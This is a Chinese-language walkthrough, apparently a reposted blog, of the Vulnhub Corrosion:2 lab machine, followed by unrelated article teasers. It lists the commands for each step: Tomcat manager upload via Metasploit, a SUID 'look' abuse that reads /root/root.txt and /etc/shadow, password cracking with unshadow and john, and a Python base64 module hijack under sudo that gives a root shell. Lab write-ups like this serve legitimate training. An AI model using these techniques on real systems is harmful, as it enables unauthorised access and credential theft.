看完这篇 教你玩转渗透测试靶机vulnhub—Corrosion:2

news2024/9/28 17:36:24

Vulnhub靶机Corrosion:2渗透测试详解

    • Vulnhub靶机介绍:
    • Vulnhub靶机下载:
    • Vulnhub靶机安装:
    • Vulnhub靶机漏洞详解:
        • ①:信息收集:
        • ②:Tomcat msf 上传漏洞拿到shell:
        • ③:look越权操作:
        • ④:sudo执行Base64.py提权
        • ⑤:获取LFAGL:
    • Vulnhub靶机渗透总结:

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

这是一个漏洞靶机,老样子需要找到flag即可。

Difficulty: Medium

Vulnhub靶机下载:

官网下载:https://download.vulnhub.com/corrosion/Corrosion2.ova

Vulnhub靶机安装:

下载好了把安装包解压 然后使用VMware打开即可。

在这里插入图片描述

Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用arp-scan -l或者netdiscover发现主机
在这里插入图片描述

使用命令:nmap -sS -sV -T4 -n -p- 192.168.0.100

渗透机:kali IP :192.168.0.104 靶机IP :192.168.0.100
在这里插入图片描述

开启了22、80、8080端口 8080发现开启了tomcat服务
老样子访问80端口(Apache默认页面)进行扫描:dirb、dirsearch、whatweb、gobuster、nikto

dirsearch -u http://192.168.0.100  #没有可以利用的信息(一般没有可以利用信息就扫二级目录)
dirsearch -u http://192.168.0.100:8080 #这波信息收集得到了backup.zip和readme.txt文件
gobuster dir -u http://192.168.0.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip  #没有可以利用的信息
gobuster dir -u http://192.168.0.100:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 400,404 
whatweb

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得到一个账号:randy 下载backup.zip发现需要密码尝试爆破和Corrosion1一样 得到密码:@administrator_hi5

可以参考Corrosion系列第一篇有详细方法:http://t.csdn.cn/XmjAR

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

查看配置文件 tomcat-users.xml,找到两组账户密码分别为:manager/melehifokivaiadmin/melehifokivai尝试登入,登入成功!

在这里插入图片描述

在这里插入图片描述

②:Tomcat msf 上传漏洞拿到shell:

打开msfconsole控制台使用模块:use exploit/multi/http/tomcat_mgr_upload 设置参数

set RHOST 192.168.0.100
set HttpPassword  melehifokivai
set HttpUsername  manager
set RPORT  80  
run

在这里插入图片描述
在这里插入图片描述

切换Shell,家里面下面三个用户jaye没权限进入randy用户查看user.txt得到第一个flag

在这里插入图片描述
尝试切换jaye用户,试了一下tomcat的密码 进去了神奇! 使用python获取终端:python3 -c 'import pty;pty.spawn("/bin/bash")'

cat /etc/passwd 发现有ssh 那我们就切换使用ssh登入这样操作方便点!

使用命令查看有root可以执行的命令:find / -perm -u=s -type f 2>/dev/null

③:look越权操作:

这里发现了一个look命令可以使用(第一次使用,不会啊~)看不了没权限 运行./look '' "$LFILE"查看的文件名即可。

在这里插入图片描述
在这里插入图片描述
look越权命令使用方法:https://gtfobins.github.io/gtfobins/look/

在这里插入图片描述
在这里插入图片描述
其实这里直接可以使用这个越权命令查看root文件了 ./look '' /root/root.txt
在这里插入图片描述
查看/etc/shadow/ect/passwd文件,unshadow命令生成需要破解的密码全部复制然后john进行爆破
(必须要复制两个文件的全部内容不然出不来)字典是:rockyou.txt(时间比较久!!)

unshadow passwd shadow > pass.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt  

在这里插入图片描述
在这里插入图片描述

得到randy得密码为:07051986randy

④:sudo执行Base64.py提权

登入成功后信息收集一波:id,whoami,sudo-l 发现可以执行randombase64这个py脚本

在这里插入图片描述
在这里插入图片描述
我们直接在python程序 base64 模块里面写入shell先找到这个脚本然后使用vi或者nano编辑器 ctrl+X 推出(第一次用搞半天)

cd /usr/lib/python3.8
ls -al base*  #找到base64.py 写入下面得内容
import os
os.system("bin/bash")
sudo /usr/bin/python3.8  /home/randy/randombase64.py #运行即可 因为使用得是pyton3.8 也可以尝试别的成功即可!!

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

⑤:获取LFAGL:

在这里插入图片描述
至此至此获取到了flag,本篇文章渗透结束 感谢大家的观看!!

Vulnhub靶机渗透总结:

这个靶机难度中偏上 因为比较麻烦
1.信息收集arp-scan -l 获取ip地址 和端口信息 web扫描工具:nikto,dirb,dirbuster,whatweb,ffuf等 查看F12源码信息
2.MSF exploit/multi/http/tomcat_mgr_upload模块getshell(要知道账号密码)
3.zip2john爆破和fcrackzip(爆破压缩包工具)还有john报错解决方法(新知识点!)
4.look命令越权读取文件 ./look '' 文件名即可
5.unshadow用户密码破解工具(第一次用 新工具!!)
6.sudo 提权执行base64.py写入shell提权

7.Linux Polkit 权限提升漏洞 CVE-2021-4034(太晚了睡觉了这里就先不演示了大家可以了解一下)

Corrosion系列完结啦,学习到了很多知识点又是收获满满的一天(耶耶耶!)
最后创作不易,希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/688126.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

何时使用Kafka而不是RabbitMQ

Kafka 和 RabbitMQ 都是流行的开源消息系统,它们可以在分布式系统中实现数据的可靠传输和处理。Kafka 和 RabbitMQ 有各自的优势和特点,它们适用于不同的场景和需求。本文将比较 Kafka 和 RabbitMQ 的主要区别,并分析何时使用 Kafka 而不是 R…

独立商城系统开发功能注意事项有哪些?

电商行业的不断发展,越来越多的企业开始构建自己的独立商城系统,以满足消费者日益增长的需求。然而,在开发独立商城系统时,需要注意什么样的功能才能使其成为一个成功的电商平台呢?下面我们就来谈一谈独立商城系统开发…

【C++ 程序设计】第 8 章:文件操作

目录 一、文件基本概念和文件流类 (1)文件的概念 (2)C 文件流类 二、打开和关闭文件 (1)打开文件 (2)关闭文件 三、文件读写操作 (1)读写文本文件…

软件测试工程师的那些经验分享

前几天,一个朋友去面软件测试工程师的职位了,回来还信心满满的跟我诉说自己的面试经历。然而,最后这个面试扑街了。其实我早就料到了…… 在面试这个环节,很多细节如果处理不好,最后就会凉凉,无论你软件测…

《名侦探柯南》所有主题曲名字

《名侦探柯南》所有主题曲名字列表: 1.第1-30集:心中动荡不安 2.第21-52集:Feel Your Heart 3.第53-96集:谜 4.第97-123集:转动命运之轮 5.第124-142集:真相究明 6.第143-167集:情义之印 7.第16…

IDEA导入Web项目的三种方式

文章目录 前言一、第一种方式二、第二种方式三、第三种方式 前言 无论那种方式,它们都有相同的前提,那就是首先将你想要导入的Web项目放置在你想要导入的工程目录下 例如(举例子):笔者要将一个名为mavenWeb1的Web项目&…

设计模式-05.02-行为型-策略职责链

策略模式【常用】 策略模式。在实际的项目开发中,这个模式也比较常用。最常见的应用场景是,利用它来避免冗长的 if-else 或 switch 分支判断。不过,它的作用还不止如此。它也可以像模板模式那样,提供框架的扩展点等等。 策略模式…

日均调度 10W+ 任务实例,DolphinScheduler 在蔚来汽车一站式数据治理开发平台的应用改造

大家好我是张金明,在蔚来汽车担任大数据平台研发工程师。这次和大家分享的是 Apache DolphinScheduler 在蔚来汽车一站式数据治理开发平台的应用和改造,接下来我将从背景、应用现状和技术改造三个方面去分享一下。 背景 业务痛点 在蔚来汽车构建一个统…

机器人工匠阿杰ROS快速入门笔记记录

ROS 快速入门教程–机器人工匠阿杰 11. 年轻人的第一个node节点 cd ~/catkin_ws/src ; // 进入工作空间 catkin_create_p kg ssr_pkg rospy roscpp std_msgs ; // 创建一个名为ssr_pkg的工程,依赖包是:rospy roscpp std_msgs // 此时,利用c…

html 高频面试题

文章目录 1. html 元素的类型2. <!DOCTYPE html>3. HTML、XML 和 XHTML 有什么区别&#xff1f;解释关系区别 4. 超链接和锚点的区别&#xff1f;5. iframe6. title和h17. html58. html5语义化是什么&#xff1f;9.DataList10.SVG是什么&#xff1f;11.src和href的区别12…

为何大伙都不愿意去外包,离职出来都说自己都废了呢....

先说一下自己的情况。大专生&#xff0c;17年通过校招进入湖南某软件公司&#xff0c;干了接近2年的点点点&#xff0c;今年年上旬&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个0舒适的环境会让一个人堕落&#xff01;而我已经在一个企业干了五年的功能测…

Qt停靠/浮动窗口的使用以及保存修改后的记录

目录 1、停靠窗口(dock windows)2、尝试编写一个停靠窗口3、保存停靠窗口状态并且能够恢复3.1、使用QSettings保存记录3.2 测试效果3.3、注册表查看配置 1、停靠窗口(dock windows) 停靠窗口(dock window)是指一些可以停靠在 OMainWindow 中或是浮动为独立窗口的窗口。OMainWi…

如何使用mock.js实现接口测试的自动化?

目录 Mock.js 基础用法介绍 安装 基础用法 随机生成一个用户信息 随机生成一个用户信息数组 Mock.js API 生成随机数据 生成数据模板指定的数据 模拟接口请求 设置Ajax请求响应时间 总结 Mock.js 基础用法介绍 Mock.js是一个常用于生成随机数据和拦截Ajax请求的Java…

【Vue FlatPickr Component】中文配置示例

【Vue FlatPickr Component】配置示例 核心代码 :config"{allowInput: true, locale: zh, enableTime: true, dateFormat: Y-m-d H:i:S, time_24hr: true, enableSeconds: true }" 详情 locale: zh&#xff1a;使用中文 enableTime: true&#xff1a;开启选择时间 …

【数据结构】——图的相关习题

目录 一、选择填空判断题题1题2题3 二、应用题题1 一、选择填空判断题 题1 1、无向图G&#xff08;V&#xff0c;E&#xff09;&#xff0c;其中&#xff1a;V{a&#xff0c;b&#xff0c;c&#xff0c;d&#xff0c;e&#xff0c;f}&#xff0c;E{&#xff08;a&#xff0c;b…

Spring Boot 中如何使用 Swagger

在 Spring Boot 中使用 Swagger 介绍 在开发 Web 应用时&#xff0c;API 文档的编写和维护是一项非常重要的工作。Swagger 是一款非常流行的 API 文档工具&#xff0c;可以自动生成 API 文档&#xff0c;并提供一系列的交互式工具&#xff0c;如测试界面、调试界面等&#xf…

在线选座票务系统开发 座位预先选出行更方便

我们平时去影院剧场观看电影演出的时候&#xff0c;去早了要等很久才开始&#xff0c;去晚了好座位都被别人占了&#xff0c;自己只能挤在角落里&#xff0c;影响观感体验。影院剧场在线选座APP小程序系统开发就很好的解决了这一问题&#xff0c;可以满足用户在线订座、在线选座…

【动态规划算法练习】day6

文章目录 一、53. 最大子数组和1.题目简介2.解题思路3.代码4.运行结果 二、918. 环形子数组的最大和1.题目简介2.解题思路3.代码4.运行结果 三、152. 乘积最大子数组1.题目简介2.解题思路3.代码4.运行结果 总结 一、53. 最大子数组和 1.题目简介 53. 最大子数组和 给你一个整…

【Java】Java 纪录类(Record Class)及代码示例

本文仅供学习交流使用&#xff01; Java Record Class相关文章地址&#xff1a; https://www.liaoxuefeng.com/wiki/1252599548343744/1331429187256353 https://www.baeldung.com/java-record-keyword https://www.developer.com/java/java-record-class/ Java中的记录类是什么…

SSMP整合案例(7) MybatisPlus快速service业务层开发

上文 SSMP整合案例(6) 业务service层逻辑编写我们创建并编写了service业务层代码 但是 这样一个一个去写 确实是有点麻烦 重复性工作 但其实这个已经有人帮我们考虑好了 MP就帮我们做了一个 service快捷开发的方式 我们在项目中的service包下创建一个接口 叫 IBookService 其实…